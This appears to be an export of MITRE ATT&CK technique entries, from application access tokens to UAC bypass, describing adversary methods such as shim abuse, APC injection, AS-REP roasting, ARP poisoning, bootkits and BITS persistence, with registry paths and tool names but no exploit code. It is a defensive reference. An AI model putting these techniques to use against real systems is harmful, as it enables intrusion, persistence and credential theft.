Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)

OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a “refresh” token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)

Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the sts:GetFederationToken API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
T1017Application Deployment SoftwareAdversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
T1499.003Application Exhaustion FloodAdversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)
T1071Application Layer ProtocolAdversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.
T1499.004Application or System ExploitationAdversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.

Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data DestructionFirmware CorruptionService Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.
T1546.011Application ShimmingAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- %WINDIR%\AppPatch\sysmain.sdb and
- hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb

Custom databases are stored in:

- %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
- hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.
T1138Application ShimmingThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- %WINDIR%\AppPatch\sysmain.sdb
- hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb

Custom databases are stored in:

- %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom
- hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.
T1010Application Window DiscoveryAdversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.(Citation: ESET Grandoreiro April 2020)

Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.
T1560Archive Collected DataAn adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.
T1560.003Archive via Custom MethodAn adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)
T1560.002Archive via LibraryAn adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including Python rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.

Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.
T1560.001Archive via UtilityAdversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.

Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.

On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration.

Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)
T1557.002ARP Cache PoisoningAdversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.

The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)

Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
T1558.004AS-REP RoastingAdversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017)

Preauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014)

For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)

Cracked hashes may enable PersistencePrivilege Escalation, and Lateral Movement via access to Valid Accounts.(Citation: SANS Attacking Kerberos Nov 2014)
T1573.002Asymmetric CryptographyAdversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.
T1055.004Asynchronous Procedure CallAdversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process’s thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).

A variation of APC injection, dubbed “Early Bird injection”, involves creating a suspended process in which malicious code can be written and executed before the process’ entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.
T1053.002AtAdversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task’s schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

On Linux and macOS, at may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke at. If the at.deny exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.(Citation: Linux at)

Adversaries may use at to execute programs at system startup or on a scheduled basis for Persistenceat can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).

In Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
T1053.001At (Linux)Adversaries may abuse the at utility to perform task scheduling for initial, recurring, or future execution of malicious code. The at command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)

An adversary may use at in Linux environments to execute programs at system startup or on a scheduled basis for persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.

Adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)
T1123Audio CaptureAn adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
T1131Authentication PackageWindows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa</code> with the key value of `“Authentication Packages”=`. The binary will then be executed by the system when the authentication packages are loaded.
T1547.002Authentication PackageAdversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa</code> with the key value of `“Authentication Packages”=<target binary>`. The binary will then be executed by the system when the authentication packages are loaded.
T1119Automated CollectionOnce established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.
T1020Automated ExfiltrationAdversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.
T1139Bash HistoryBash keeps track of the commands users type on the command-line with the “history” utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
T1552.003Bash HistoryAdversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the “history” utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
T1102.002Bidirectional CommunicationAdversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
T1009Binary PaddingAdversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)
T1027.001Binary PaddingAdversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)
T1197BITS JobsAdversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)
T1547Boot or Logon Autostart ExecutionAdversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.
T1037Boot or Logon Initialization ScriptsAdversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.
T1067BootkitA bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

### Master Boot Record

The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

### Volume Boot Record

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
T1542.003BootkitAdversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
T1583.005BotnetAdversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)
T1584.005BotnetAdversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).
T1176Browser ExtensionsAdversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser’s app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension’s update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.

Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)

Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)

There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)
T1217Browser Information DiscoveryAdversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)

Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., %APPDATA%/Google/Chrome).(Citation: Chrome Roaming Profiles)
T1185Browser Session HijackingAdversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.

Another example involves pivoting browser traffic from the adversary’s browser through the user’s browser by setting up a proxy which will redirect web traffic. This does not alter the user’s traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)
T1110Brute ForceAdversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential DumpingAccount Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access.
T1612Build Image on HostAdversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)

An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize Deploy Container using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.
T1591.002Business RelationshipsAdversaries may gather information about the victim’s business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain CompromiseDrive-by Compromise, or Trusted Relationship).
T1548.002Bypass User Account ControlAdversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)
T1088Bypass User Account ControlWindows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

